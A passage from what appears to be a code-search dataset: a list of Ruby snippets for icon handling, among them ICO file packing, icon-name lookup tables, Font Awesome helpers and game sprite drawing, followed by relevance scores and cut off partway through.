bitmap_hdr.biBitCount,\n bitmap_hdr.biSizeImage,\n icondir.size + 2 + ICODIRENTRY::SIZE # offset of BMP data from the beginning of ICO file\n )\n # ICONDIRENTRY is 2 bytes larger than ICODIRENTRY\n icondir + icondirentry.pack + \"\\x00\\x00\" + bitmap_hdr.pack + f.read(self.size)\n end\n end\n end", "def icon(s)\n if self['iconset'] && self['iconset'].has_key?(s) then self['iconset'][s] else s end\n end", "def cheri_icon\n @cheri_icon ||= get_icon('cheri_icon_16x16.png')\n end", "def icons key\n (icons_info[key.to_s] || key)\n end", "def iconify (icon_name) # currently action_name (preferred as more specific) or controller_name \n icon_name_s = icon_name.to_s\n\n # logger.debug(\"SessionsHelper: Icon_array: #{Icon_array.inspect}, Icon_hash: #{Icon_hash.inspect}\")\n\n case \n when Icon_array.index(icon_name_s) then\n klasses = 'fa-' + icon_name_s\n when Icon_hash.key?(icon_name_s) then\n klasses = Icon_hash[ icon_name_s ]\n when ( icon_name_s =~ /^my_/ ) then\n klasses = 'fa-user'\n else\n return ''\n end\n\n return \"<i class=\\\"fa #{klasses}\\\" ></i>\"\n\n end", "def icon_filename_for_key(key)\n case (key.to_s)\n when \"thumbs_up\"\n \"famfamfam_silk/thumb_up.png\"\n when \"refresh\"\n \"famfamfam_silk/arrow_refresh_small.png\"\n when \"arrow_up\"\n \"famfamfam_silk/arrow_up.png\"\n when \"arrow_down\"\n \"famfamfam_silk/arrow_down.png\"\n when \"arrow_right\", \"next\"\n \"famfamfam_silk/arrow_right.png\"\n when \"arrow_left\", \"back\"\n \"famfamfam_silk/arrow_left.png\"\n when \"bioportal_logo\"\n \"bioportal/bioportal_logo.png\"\n when \"new\"\n \"famfamfam_silk/add.png\"\n when \"download\"\n \"redmond_studio/arrow-down_16.png\"\n when \"show\"\n \"famfamfam_silk/zoom.png\"\n when \"edit\"\n \"famfamfam_silk/page_white_edit.png\"\n when \"edit-off\"\n \"stop_edit.png\"\n when \"manage\"\n \"famfamfam_silk/wrench.png\"\n when \"destroy\"\n \"famfamfam_silk/cross.png\"\n when \"tag\"\n \"famfamfam_silk/tag_blue.png\"\n when \"favourite\"\n \"famfamfam_silk/star.png\"\n when \"comment\"\n \"famfamfam_silk/comment.png\"\n when \"comments\"\n \"famfamfam_silk/comments.png\"\n when \"info\"\n \"famfamfam_silk/information.png\"\n when \"help\"\n \"famfamfam_silk/help.png\"\n when \"confirm\"\n \"famfamfam_silk/accept.png\"\n when \"reject\"\n \"famfamfam_silk/cancel.png\"\n when \"user\", \"person\"\n \"famfamfam_silk/user.png\"\n when \"user-invite\"\n \"famfamfam_silk/user_add.png\"\n when \"avatar\"\n \"famfamfam_silk/picture.png\"\n when \"avatars\"\n \"famfamfam_silk/photos.png\"\n when \"save\"\n \"famfamfam_silk/save.png\"\n when \"message\"\n \"famfamfam_silk/email.png\"\n when \"message_read\"\n \"famfamfam_silk/email_open.png\"\n when \"reply\"\n \"famfamfam_silk/email_go.png\"\n when \"message_delete\"\n \"famfamfam_silk/email_delete.png\"\n when \"messages_outbox\"\n \"famfamfam_silk/email_go.png\"\n when \"file\"\n \"redmond_studio/documents_16.png\"\n when \"logout\"\n \"famfamfam_silk/door_out.png\"\n when \"login\"\n \"famfamfam_silk/door_in.png\"\n when \"picture\"\n \"famfamfam_silk/picture.png\"\n when \"pictures\"\n \"famfamfam_silk/photos.png\"\n when \"profile\"\n \"famfamfam_silk/user_suit.png\"\n when \"history\"\n \"famfamfam_silk/time.png\"\n when \"news\"\n \"famfamfam_silk/newspaper.png\"\n when \"view-all\"\n \"famfamfam_silk/table_go.png\"\n when \"announcement\"\n \"famfamfam_silk/transmit.png\"\n when \"denied\"\n \"famfamfam_silk/exclamation.png\"\n when \"institution\"\n \"famfamfam_silk/house.png\"\n when \"project\"\n \"famfamfam_silk/report.png\"\n when \"tick\"\n \"crystal_project/22x22/apps/clean.png\"\n when \"lock\"\n \"famfamfam_silk/lock.png\"\n when \"open\"\n \"famfamfam_silk/lock_open.png\"\n when \"no_user\"\n \"famfamfam_silk/link_break.png\"\n when \"sop\"\n \"famfamfam_silk/page.png\"\n when \"sops\"\n \"famfamfam_silk/page_copy.png\"\n when \"model\"\n \"crystal_project/32x32/apps/kformula.png\"\n when \"models\"\n \"crystal_project/64x64/apps/kformula.png\"\n when \"data_file\",\"data_files\"\n \"famfamfam_silk/database.png\"\n when \"study\"\n \"famfamfam_silk/page.png\"\n when \"execute\"\n \"famfamfam_silk/lightning.png\"\n when \"warning\"\n \"crystal_project/22x22/apps/alert.png\"\n when \"skipped\"\n \"crystal_project/22x22/actions/undo.png\"\n when \"error\"\n \"famfamfam_silk/exclamation.png\"\n when \"feedback\"\n \"famfamfam_silk/email.png\"\n when \"spinner\"\n \"ajax-loader.gif\"\n when \"large-spinner\"\n \"ajax-loader-large.gif\"\n when \"current\"\n \"famfamfam_silk/bullet_green.png\"\n when \"collapse\"\n \"folds/fold.png\"\n when \"expand\"\n \"folds/unfold.png\"\n when \"pal\"\n \"famfamfam_silk/rosette.png\"\n when \"admin\"\n \"famfamfam_silk/shield.png\"\n when \"pdf_file\"\n \"file_icons/small/pdf.png\"\n when \"xls_file\"\n \"file_icons/small/xls.png\"\n when \"doc_file\"\n \"file_icons/small/doc.png\"\n when \"misc_file\"\n \"file_icons/small/genericBlue.png\"\n when \"ppt_file\"\n \"file_icons/small/ppt.png\"\n when \"xml_file\"\n \"file_icons/small/xml.png\"\n when \"zip_file\"\n \"file_icons/small/zip.png\"\n when \"jpg_file\"\n \"file_icons/small/jpg.png\"\n when \"gif_file\"\n \"file_icons/small/gif.png\"\n when \"png_file\"\n \"file_icons/small/png.png\"\n when \"txt_file\"\n \"file_icons/small/txt.png\"\n when \"investigation_avatar\"\n \"crystal_project/64x64/apps/mydocuments.png\"\n when \"study_avatar\"\n \"crystal_project/64x64/apps/package_editors.png\"\n when \"assay_avatar\",\"assay_experimental_avatar\"\n \"misc_icons/flask3-64x64.png\"\n when \"assay_modelling_avatar\"\n \"crystal_project/64x64/filesystems/desktop.png\"\n when \"model_avatar\"\n \"crystal_project/64x64/apps/kformula.png\"\n when \"person_avatar\"\n \"avatar.png\"\n when \"jerm_logo\"\n \"jerm_logo.png\"\n when \"project_avatar\"\n \"project_64x64.png\"\n when \"institution_avatar\"\n \"institution_64x64.png\"\n when \"organism_avatar\"\n \"misc_icons/green_virus-64x64.png\"\n when \"saved_search\"\n \"crystal_project/32x32/actions/find.png\"\n when \"visit_pubmed\"\n \"famfamfam_silk/page_white_go.png\"\n when \"markup\"\n \"famfamfam_silk/page_white_text.png\"\n when \"atom_feed\"\n \"misc_icons/feed_icon.png\"\n when \"impersonate\"\n \"famfamfam_silk/group_go.png\"\n when \"world\"\n \"famfamfam_silk/world.png\"\n else\n return nil\n end\n end", "def icon\n return 'ban' if cancelled?\n return 'pencil' if incomplete?\n return nil if concluded?\n return 'question-circle' if current?\n fully_shipped? && 'exclamation-circle' || 'truck'\n end", "def symbol_icon(icon, **opt)\n icon = icon_definitions.dig(icon, :icon) if icon.is_a?(Symbol)\n super(icon, **opt)\n end", "def icons_info\n @icons_info ||= icons_file\n end", "def state_icons\r\n icons = states.collect {|state| state.icon_index }\r\n icons.delete(0)\r\n icons\r\n end", "def icon_init(icon , name)\r\n icon_global_init(icon , name)\r\n end", "def content_icon\n content_icon_path << case self\n when Audio\n \"audio.png\"\n when Music\n \"music.png\"\n when Photo\n \"photo.png\"\n when Video, WebVideo\n \"movie.png\"\n else\n 'doc.png'\n end\n end", "def command_icons\n close_command_window\n SceneManager.call(Scene_Icons)\n end", "def set_icon(point)\n point.ico_route_type(true)[\"icon\"]\n end", "def icon_ok ; @icon_ok ||= \"ok.png\" ; end", "def icon\n @icon\n end", "def update_classic\n @equip_icon.zoom_x += 0.2 if @equip_icon.zoom_x < 2.0\n @equip_icon.zoom_y += 0.2 if @equip_icon.zoom_y < 2.0\n @scroll_icon.zoom_x += 0.2 if @scroll_icon.zoom_x < 2.0\n @scroll_icon.zoom_y += 0.2 if @scroll_icon.zoom_y < 2.0\n end", "def _UNDO_setIcon(iNewIcon)\n @Icon = iNewIcon\n end", "def toggle\n toggle_icon_display\n restart_finder\n icons_showing?\n end", "def icon_index()\n return CORE_CONFIG::ELEMENT_ICONS[self.id] \n end", "def draw_states(x,y,plus,minus = [], bmp = nil) \n i = 0\n for state in plus + minus\n if state.is_a?(Numeric)\n state = $data_states[state]\n end\n if bmp and state != nil\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(state.icon_index % 16 * 24, state.icon_index / 16 * 24, 24, 24)\n bmp.blt(x, y, bitmap, rect, 255)\n else\n draw_state_icon(state,x+(24*i),y)\n end\n i += 1\n end\n end", "def icons_info\n @icons_info ||= icons_file\n end", "def draw()\n if self.iconIndex != nil\n bitmap = Cache.system(\"IconSet\")\n @cIcon.img_bitmap = bitmap\n @cIcon.src_rect = Rect.new(self.iconIndex % 16 * 24, self.iconIndex / 16 * 24, \n 24, 24)\n @cIcon.draw()\n end\n end", "def icon_chooser\n \"red\"\n end", "def test_defaultIcon\n [@window, @sprite, @bitmap].each{|container|\n uc = UCIcon.new(container, Rect.new(100, 0, 24, 24), 1)\n uc.draw()\n }\n return true\n end", "def glyph(*names)\n content_tag :i, nil, :class => names.map{|name| \"icon-#{name.to_s.gsub('_','-')}\" }\n end", "def icondir ; @icondir ||= './' ; end", "def icon\n\t\timage+'.png' rescue 'pushpin.png'\n\tend", "def category_in_icon_name\n case category\n when 0\n \"icon_clean\"\n when 1\n \"icon_nanny\"\n when 2\n \"icon_time\"\n when 3\n \"icon_fix\"\n else\n \"icon_clean\"\n end\n end", "def icon_sets\r\n\t\t@current_area = 'settings'\r\n\t\t@current_menu = 'settings'\r\n\r\n\t\t@icons = {\r\n\t\t\t'calendar' => true,\r\n\t\t\t'calculator' => false,\r\n\t\t\t'cancel' => false,\r\n\t\t\t'delete' => false,\r\n\t\t\t'down' => true,\r\n\t\t\t'down-grey' => true,\r\n\t\t\t'down2' => true,\r\n\t\t\t'down2-grey' => true,\r\n\t\t\t'edit' => true,\r\n\t\t\t'help' => true,\r\n\t\t\t'image' => false,\r\n\t\t\t'left' => true,\r\n\t\t\t'left-grey' => false,\r\n\t\t\t'left2' => true,\r\n\t\t\t'left2-grey' => false,\r\n\t\t\t'minus' => false,\r\n\t\t\t'pdf' => true,\r\n\t\t\t'plus' => false,\r\n\t\t\t'reload' => true,\r\n\t\t\t'right' => true,\r\n\t\t\t'right-grey' => false,\r\n\t\t\t'right2' => true,\r\n\t\t\t'right2-grey' => false,\r\n\t\t\t'save' => false,\r\n\t\t\t'search' => true,\r\n\t\t\t'spreadsheet' => false,\r\n\t\t\t'star' => true,\r\n\t\t\t'star-grey' => true,\r\n\t\t\t'up' => true,\r\n\t\t\t'up-grey' => true,\r\n\t\t\t'up2' => true,\r\n\t\t\t'up2-grey' => true,\r\n\t\t\t'view' => true\r\n\t\t}\r\n\r\n\t\t@icon_sets = Hash.new\r\n\r\n\t\tfolders = Dir.entries(RAILS_ROOT + '/public/images/icons/')\r\n\t\tfolders.delete('.')\r\n\t\tfolders.delete('..')\r\n\r\n\t\tfolders.each do |cur_folder|\r\n\t\t\t@icon_sets[cur_folder] = Hash.new\r\n\r\n\t\t\t# load meta info\r\n\t\t\t@icon_sets[cur_folder]['_info'] = YAML::load(File.open(RAILS_ROOT + '/public/images/icons/' + cur_folder + '/config.yml'))\r\n\r\n\t\t\ticons = Dir.entries(RAILS_ROOT + '/public/images/icons/' + cur_folder)\r\n\t\t\ticons.delete('.')\r\n\t\t\ticons.delete('..')\r\n\t\t\ticons.delete('config.yml')\r\n\r\n\t\t\ticons.each do |cur_icon|\r\n\t\t\t\ticon_bits = cur_icon.split('.')\r\n\t\t\t\ticon_name = icon_bits[0]\r\n\r\n\t\t\t\tunless @icon_sets[cur_folder][icon_name]\r\n\t\t\t\t\t@icon_sets[cur_folder][icon_name] = Hash.new\r\n\t\t\t\tend\r\n\r\n\t\t\t\t@icon_sets[cur_folder][icon_name][icon_bits[1]] = true\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\tif params[:use] and params[:set_name]\r\n\t\t\t@design_config[:options][:icons_path] = params[:set_name].to_s\r\n\t\t\t@design_config.save\r\n\t\t\tflash[:now] = 'Icons set changed'\r\n\t\tend\r\n\tend", "def get_icons\n\n # Get icons from settings\n icons = options[:icons]\n\n # Return nothing if icons is false (default)\n # To continue add the icons property to your navigation\n if !icons\n return\n end\n \n # If icons = true, we need to build a quick hash of the expand/collapse\n # icons to match the custom icon format\n if icons.eql?(true)\n icons = { \n expand: icon('chevron_right'),\n }\n end\n\n # Store the icons as variables\n expand_icon = icons[:expand]\n if icons[:collapse]\n collapse_icon = icons[:collapse]\n end\n\n # If there's a collapse icon, we want to render both icons\n # CSS can be used to show/hide the exapnded/collapsed icons\n if collapse_icon\n content_tag(:div, (\n content_tag(:div, expand_icon, class: get_class(\"--icon--expand\")) + \n (content_tag(:div, collapse_icon, class: get_class(\"--icon--collapse\")) if collapse_icon)\n ), class: get_class(\"--icon\"));\n\n # If there's only an expand icon, we simplify the markup\n else\n content_tag(:div, expand_icon, class: get_class(\"--icon\"));\n end\n end", "def icon_change_icon(icon_change_index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SplitsComponentState_icon_change_icon(@handle.ptr, icon_change_index)\n result\n end", "def render_icon(icon)\n icon_map = {create: 'fas fa-add', update: 'fas fa-save', list: 'fas fa-list', show: 'fas fa-eye',\n hide: 'fas fa-eye-slash', delete: 'fas fa-trash', remove: 'fas fa-times', add: 'fas fa-add'}\n icon = icon.is_a?(String) ? icon : icon_map[icon]\n icon.nil? ? '' : '<span class=\"' + icon + '\"></span>'\n end", "def icon\n icon = Icon.where(:id => icon_id).first\n icon ||= package_branch.icon\n icon ||= package_category.icon\n\n icon\n end", "def Com2\n @type = \"Icon\"\n @id = 0\n @x = 0\n @y = 0\n @commande_window.hide\n @window_command_command = Window_CommandIconSelect.new(@id,@x,@y)\n @window_command_command.set_handler(:CT1, method(:ComIcon1))\n @window_command_command.set_handler(:CT2, method(:ComIcon2))\n @window_command_command.set_handler(:CT3, method(:ComIcon3))\n @window_command_command.set_handler(:cancel, method(:ComIcon4))\n @window_command_command.activate\n end", "def icon_ok\n icon('ok')\n end", "def reverse_mapping\n {\n 0 => \"general\",\n 4 => \"character\",\n 3 => \"copyright\",\n 1 => \"artist\",\n 5 => \"meta\",\n }\n end", "def standard_icon(standard_icon)\n\t\t\t\treturn case standard_icon\n\t\t\t\t\twhen :ok then \"check\"\n\t\t\t\t\twhen :cancel then \"times\"\n\t\t\t\t\twhen :index then \"list\"\n\t\t\t\t\twhen :show then \"clipboard\"\n\t\t\t\t\twhen :edit then \"edit\"\n\t\t\t\t\twhen :new then \"plus\"\n\t\t\t\t\twhen :destroy then \"trash\"\n\t\t\t\t\twhen :move then \"arrows-alt\"\n\t\t\t\t\twhen :move_up then \"long-arrow-alt-up\"\n\t\t\t\t\twhen :move_down then \"long-arrow-alt-down\"\n\t\t\t\t\twhen :duplicate then \"clone\"\n\t\t\t\t\twhen :profile then \"user\"\n\t\t\t\t\twhen :password then \"lock\"\n\t\t\t\t\twhen :recover then \"life-ring\"\n\t\t\t\t\twhen :sign_in then \"sign-in-alt\"\n\t\t\t\t\twhen :sign_out then \"sign-out-alt\"\n\t\t\t\t\twhen :sign_up then \"user-plus\"\n\t\t\t\t\twhen :close then \"times\"\n\t\t\t\t\twhen :reload then \"sync-alt\"\n\t\t\t\t\telse nil\n\t\t\t\tend\n\t\t\tend", "def material_icon\n @@material_icon.reset\n end", "def update_markers\n board.flatten.map do |marker|\n case marker\n when \"X\"\n update_x\n when \"O\"\n update_o\n else\n update_empty\n end\n end\n end", "def icon_change()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.TitleComponentState_icon_change(@handle.ptr)\n result\n end", "def ImageList_ExtractIcon(hi, himl, i)\r\n ImageList_GetIcon(himl, i, 0)\r\n end", "def handle_icon(icon, type)\n if File.exists?(icon) && @target_host != 'localhost'\n file = File.new(icon)\n data = file.read\n size = data.length\n if size > 0\n binary = {\n :size => size,\n :data => data,\n :uniqueid => Digest::MD5.hexdigest(data)\n }\n @binaries << binary\n \"#{type}-Icon: x-growl-resource://#{binary[:uniqueid]}\"\n end\n else\n \"#{type}-Icon: #{icon}\"\n end\n end", "def swapColors(map)\n self.bitmap.swapColors(map) if self.bitmap\n end", "def draw_icon(line, graphic_name)\n return if line <= 0\n y = 32 * line - 32\n bitmap = RPG::Cache.picture(graphic_name)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n end", "def switchmap(sym)\r\n\t\t\t@map = sym\r\n\t\tend", "def pbSwapBattlerSprites(idxA,idxB)\r\n @sprites[\"pokemon_#{idxA}\"], @sprites[\"pokemon_#{idxB}\"] = @sprites[\"pokemon_#{idxB}\"], @sprites[\"pokemon_#{idxA}\"]\r\n @sprites[\"shadow_#{idxA}\"], @sprites[\"shadow_#{idxB}\"] = @sprites[\"shadow_#{idxB}\"], @sprites[\"shadow_#{idxA}\"]\r\n @lastCmd[idxA], @lastCmd[idxB] = @lastCmd[idxB], @lastCmd[idxA]\r\n @lastMove[idxA], @lastMove[idxB] = @lastMove[idxB], @lastMove[idxA]\r\n [idxA,idxB].each do |i|\r\n @sprites[\"pokemon_#{i}\"].index = i\r\n @sprites[\"pokemon_#{i}\"].pbSetPosition\r\n @sprites[\"shadow_#{i}\"].index = i\r\n @sprites[\"shadow_#{i}\"].pbSetPosition\r\n @sprites[\"dataBox_#{i}\"].battler = @battle.battlers[i]\r\n end\r\n pbRefresh\r\n end", "def output_image\r\n @icon.each do |data|\r\n puts data.join\r\n end\r\n end", "def swap_colors(map)\n # check for a potential bitmap map\n if map.is_a?(Bitmap)\n bmp = map.clone; map = {}\n for x in 0...bmp.width\n map[bmp.get_pixel(x, 0).to_hex] = bmp.get_pixel(x, 1).to_hex\n end\n end\n # failsafe\n return if !map.is_a?(Hash)\n # iterate over sprite's pixels\n for x in 0...self.width\n for y in 0...self.height\n pixel = self.get_pixel(x, y)\n final = nil\n for key in map.keys\n # check for key mapping\n target = Color.parse(key)\n final = Color.parse(map[key]) if target == pixel\n end\n # swap current pixel color with target\n self.set_pixel(x, y, final) if final && final.is_a?(Color)\n end\n end\n end", "def glyph(*names)\n names.map! { |name| name.to_s.gsub('_','-') }\n names.map! do |name|\n name =~ /pull-(?:left|right)/ ? name : \"icon-#{name}\"\n end\n content_tag :i, nil, class: names\n end", "def favicon\n\t\t# [Red/Green/Blue/Reserved] * 256\n\t\tdata_rgb = \"00000000c5bdb50055341100ffffff002d1803006034060\"\n\t\tdata_rgb << \"044250400673807004b290500d9d9d9004d2a0500251504\"\n\t\tdata_rgb << \"00\"*977\n\t\tdata_rgb = [data_rgb].pack('H*')\n\n\t\tdata_lines = \"0000000000000007070000000000000000000000000007\"\n\t\tdata_lines << \"07070A00000000000000000000000707070A0A0A000000\"\n\t\tdata_lines << \"000000000000070707070A0A0A0A000000000000000703\"\n\t\tdata_lines << \"0707070A0A0A010A00000000000707030707070A0A0A09\"\n\t\tdata_lines << \"020A00000000070303070703090A0A09090A0000000007\"\n\t\tdata_lines << \"0303070703090A0A09090A000000000703030705030908\"\n\t\tdata_lines << \"0A09090A0000000007030307070309040609090A000000\"\n\t\tdata_lines << \"0007030307030309090B09090A00000000070303030303\"\n\t\tdata_lines << \"09090909090A000000000703030303070A090909090A00\"\n\t\tdata_lines << \"0000000703030307070A0A0909090A0000000007070707\"\n\t\tdata_lines << \"07070A0A0A0A0A0A000000000007070707070A0A0A0A0A\"\n\t\tdata_lines << \"000000\"\n\t\tdata_lines = [data_lines].pack('H*')\n\n\t\tdata_mask = \"FE7F0000FC3F0000F81F0000F00F0000E0070000C0030000\"\n\t\tdata_mask << \"C0030000C0030000C0030000C0030000C0030000C0030000\"\n\t\tdata_mask << \"C0030000C0030000C0030000E0070000\"\n\t\tdata_mask = [data_mask].pack('H*')\n\n\t\t# icondir\n\t\tico = \"\\x00\\x00\" # Reserved\n\t\tico << \"\\x01\\x00\" # Type\n\t\tico << \"\\x01\\x00\" # Count\n\t\tico << \"\\x10\" # Width\n\t\tico << \"\\x10\" # Height\n\t\tico << \"\\x00\" # ColorCount\n\t\tico << \"\\x00\" # Reserved\n\t\tico << \"\\x00\\x00\" # Planes\n\t\tico << \"\\x00\\x00\" # BitCount\n\t\tico << \"\\x68\\x05\\x00\\x00\" # BytesInRes\n\t\tico << \"\\x16\\x00\\x00\\x00\" # Image Offset\n\t\t# images: bmiHeader\n\t\tico << \"\\x28\\x00\\x00\\x00\" # biSize\n\t\tico << \"\\x10\\x00\\x00\\x00\" # biWidth\n\t\tico << \"\\x20\\x00\\x00\\x00\" # biHeight\n\t\tico << \"\\x01\\x00\" # biPlanes\n\t\tico << \"\\x08\\x00\" # biBitcount\n\t\tico << \"\\x00\\x00\\x00\\x00\" # biCompression\n\t\tico << \"\\x00\\x01\\x00\\x00\" # biSizeImage\n\t\tico << \"\\x00\\x00\\x00\\x00\" # XPelsPerMeter\n\t\tico << \"\\x00\\x00\\x00\\x00\" # YPelsPerMeter\n\t\tico << \"\\x00\\x01\\x00\\x00\" # biClrUsed\n\t\tico << \"\\x00\\x00\\x00\\x00\" # ClrImportant\n\t\t# images: data\n\t\tico << data_rgb\n\t\tico << data_lines\n\t\tico << data_mask\n\n\t\treturn ico\n\tend", "def icon_class_for_model(model)\n case model.to_s\n when 'materials'\n 'fa fa-book'\n when 'content_providers'\n 'fa fa-building-o'\n when 'activity_logs'\n 'fa fa-clock-o'\n when 'events'\n 'fa fa-calendar'\n when 'users'\n 'fa fa-user'\n when 'workflows'\n 'fa fa-sitemap'\n when 'nodes'\n 'fa fa-share-alt'\n else\n 'fa fa-folder-open'\n end\n end", "def associate_barcodes(ops:, input_name:, output_name:)\n ops.each do |op|\n # to avoid errors with Primer Mix items\n if op.input(input_name).sample_type.name == \"Primer\"\n barcode = get_barcode(op.input(input_name).sample)\n if barcode\n part = op.output(output_name).part\n part.associate(:barcode, barcode)\n end\n end\n end\n end", "def swap_colors(map)\n self.bitmap.swapColors(map) if self.bitmap\n end", "def phone_icon_for(type)\n return 'fa fa-phone-square' if type == 'voice' || type == 'hotline'\n return 'fa fa-print' if type == 'fax'\n return 'fa fa-tty' if type == 'tty'\n end", "def add_icons\n icon_path = 'assets/images/icons/'\n s = add_apple_icons(icon_path)\n b = '<link rel=\"icon\" type=\"image/png\" sizes=\"'; j = %(\" href=\"#{icon_path})\n s + %(\n #{b}192x192#{j}android-icon-192x192.png\">\n #{b}32x32#{j}favicon-32x32.png\">\n #{b}96x96#{j}favicon-96x96.png\">\n #{b}16x16#{j}favicon-16x16.png\">\n <link rel=\"manifest\" href=\"#{icon_path}manifest.json\">\n <meta name=\"msapplication-TileColor\" content=\"#ffffff\">\n <meta name=\"msapplication-TileImage\" content=\"#{icon_path}ms-icon-144x144.png\">)\nend", "def attach_mode_icons itineraries\n modes = []\n #Which mode icons should we attach logos for?\n itineraries.each do |itin|\n modes << itin.mode_array\n end\n modes.flatten!.uniq!\n \n modes.each do |mode|\n path = ActionController::Base.helpers.asset_path(\"#{mode.downcase}.png\").to_s\n attachments.inline[\"#{mode.downcase}.png\"] = open(\"#{Setting.host}#{path}\", 'rb').read\n end\n end", "def get_icon\n if @team == \"white\"\n white_icon\n else\n black_icon\n end\n end", "def icon\n image_tag( \"tags/#{ @name }.png\" , :height => 8 )\n end", "def image\n \"icon.png\"\n end", "def action(sym, ops = {})\n\t \tops[:icon] ||= sym\n\t \tops[:title] ||= sym.to_s.humanize\n\t \tif ops[:icon].is_a?(String)\n\t \t\tadd_icon sym => ops[:icon]\n\t \t\tops[:icon] = sym\n\t \tend\n @actions[sym] = ops\n\t end", "def teacherIcons\n icons = [\"apple\", \"book\", \"pencil\", \"calculator\"];\n return icons;\n end", "def icon\n options[:icon] || (traits.slice!(0).to_s if traits.first.is_a?(String))\n end", "def action_icon_name\n case action_name\n when 'new', 'create'\n 'plus'\n when 'edit', 'update'\n 'edit'\n else\n nil\n end\n end", "def action_icon_name\n case action_name\n when 'new', 'create'\n 'plus'\n when 'edit', 'update'\n 'edit'\n else\n nil\n end\n end", "def render_file_icon file\n if file.filename.split(\".\").last == \"pdf\"\n img_tag = \"#{image_tag(\"file_icons/pdf.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"flv\"\n img_tag = \"#{image_tag(\"file_icons/flv.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"gif\"\n img_tag = \"#{image_tag(\"file_icons/gif.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"zip\"\n img_tag = \"#{image_tag(\"file_icons/zip.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"mp3\"\n img_tag = \"#{image_tag(\"file_icons/mp3.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"swf\"\n img_tag = \"#{image_tag(\"file_icons/swf.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"doc\"\n img_tag = \"#{image_tag(\"file_icons/doc.png\", :plugin => :alchemy)}\"\n elsif file.filename.split(\".\").last == \"jpg\"\n img_tag = \"#{image_tag(\"file_icons/jpg.png\", :plugin => :alchemy)}\"\n else\n img_tag = \"#{image_tag(\"file_icons/file.png\", :plugin => :alchemy)}\"\n end\n end", "def the_icon\n icon.sub(/^icon\\-/, 'fa fa-')\n end", "def set_command_module_icon(status)\n path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path\n case status\n when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG\n when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n else\n path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG\n end\n #return path\n path\n end", "def inki_icon\n\t\t\t@inki_icon\n\t\tend", "def buff_icons\r\n icons = []\r\n @buffs.each_with_index {|lv, i| icons.push(buff_icon_index(lv, i)) }\r\n icons.delete(0)\r\n icons\r\n end", "def icon(name)\n content_tag :div,(content_tag :div, '', :class => name), :class => 'ico'\n end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def icon\n \"#{data_content_type.gsub(/[\\/\\.]/,'-')}.png\"\n end", "def icon\n if active\n expr.descending ? '&#9660;' : '&#9650;'\n end\n end", "def icon\n 'unchecked'\n end", "def randomize_icon_color\n self.icon = \"a\".concat(rand(0..9).to_s)\n end", "def parcel_content_type_icon(type)\n link_to image_tag(\"/images/content-type/\"+type+\".png\", :class => 'parcel-icon'), \"/files/type/\"+type\n end", "def icon\n icons = {\n \"chrome\" => \"img-firefox.png\",\n \"safari\" => \"img-safari.png\",\n \"googlechrome\" => \"img-chrome.png\",\n \"iexplore8\" => \"img-ie8.png\",\n \"iexplore7\" => \"img-ie7.png\", \n \"iexplore6\" => \"img-ie6.png\",\n \"iehta\" => \"img-ie8.png\",\n \"firefox\" => \"img-firefox.png\"\n }\n\n if self.browser_name == 'iexplore' or self.browser_name == 'iehta'\n ret = icons[\"iexplore\" + self.browser_version.delete(\".\")]\n else\n ret = icons[self.browser_name]\n end\n\n return \"unknown_#{self.browser_name}\" if ret.nil?\n ret\n end", "def format_icon_path format\n return 'icons/'.concat(format).concat('.png')\n end", "def multiple_icon_ver(initial_icon, vrecord)\r\n structure[:admin_ver] = vrecord.web.hidden()\r\n structure[:multiple_icon_ver] = \"<DIV class='multi-icon ui-icon #{initial_icon}' id='ui-icon #{initial_icon}' onclick='tripleStateSelect(this);'></DIV>\"\r\n return \"#{structure[:multiple_icon_ver]} #{structure[:admin_ver]}\"\r\n end", "def append_icons(item)\n labels = get_label_icons(item)\n # if it's vegan, it's necessarily vegetarian. Remove redundant icon.\n if labels.include?(ICONS['vegetarian']) &&\n labels.include?(ICONS['vegan'])\n labels.delete_at(labels.index(ICONS['vegetarian']))\n end\n labels.empty? ? item['name'] : item['name'] << ' | ' << labels.join(' ')\n end", "def updateDrawIcon _obj, _args\n \"_obj updateDrawIcon _args;\" \n end" ]
[ "0.7031527", "0.69432217", "0.6405415", "0.6287532", "0.61090964", "0.60784686", "0.6056151", "0.5946951", "0.58527213", "0.5848548", "0.5811445", "0.58067274", "0.57905495", "0.5754316", "0.5741752", "0.5738526", "0.57192755", "0.57178813", "0.57107335", "0.57077", "0.56967425", "0.56479156", "0.56449", "0.56381667", "0.5632579", "0.5625427", "0.5621722", "0.56103545", "0.5583383", "0.5580397", "0.55608726", "0.555885", "0.5550376", "0.55410546", "0.5521705", "0.5519468", "0.5517123", "0.55069315", "0.5501092", "0.5488029", "0.5480626", "0.5474816", "0.5465385", "0.54614013", "0.545973", "0.54587924", "0.5453257", "0.5447521", "0.5430812", "0.5415093", "0.54109836", "0.54025096", "0.5391496", "0.53899294", "0.5377847", "0.53431064", "0.5332777", "0.5328359", "0.5308372", "0.52841306", "0.52703744", "0.52651083", "0.52631235", "0.5259812", "0.5257307", "0.5247567", "0.5238985", "0.52264494", "0.5221522", "0.52116024", "0.520997", 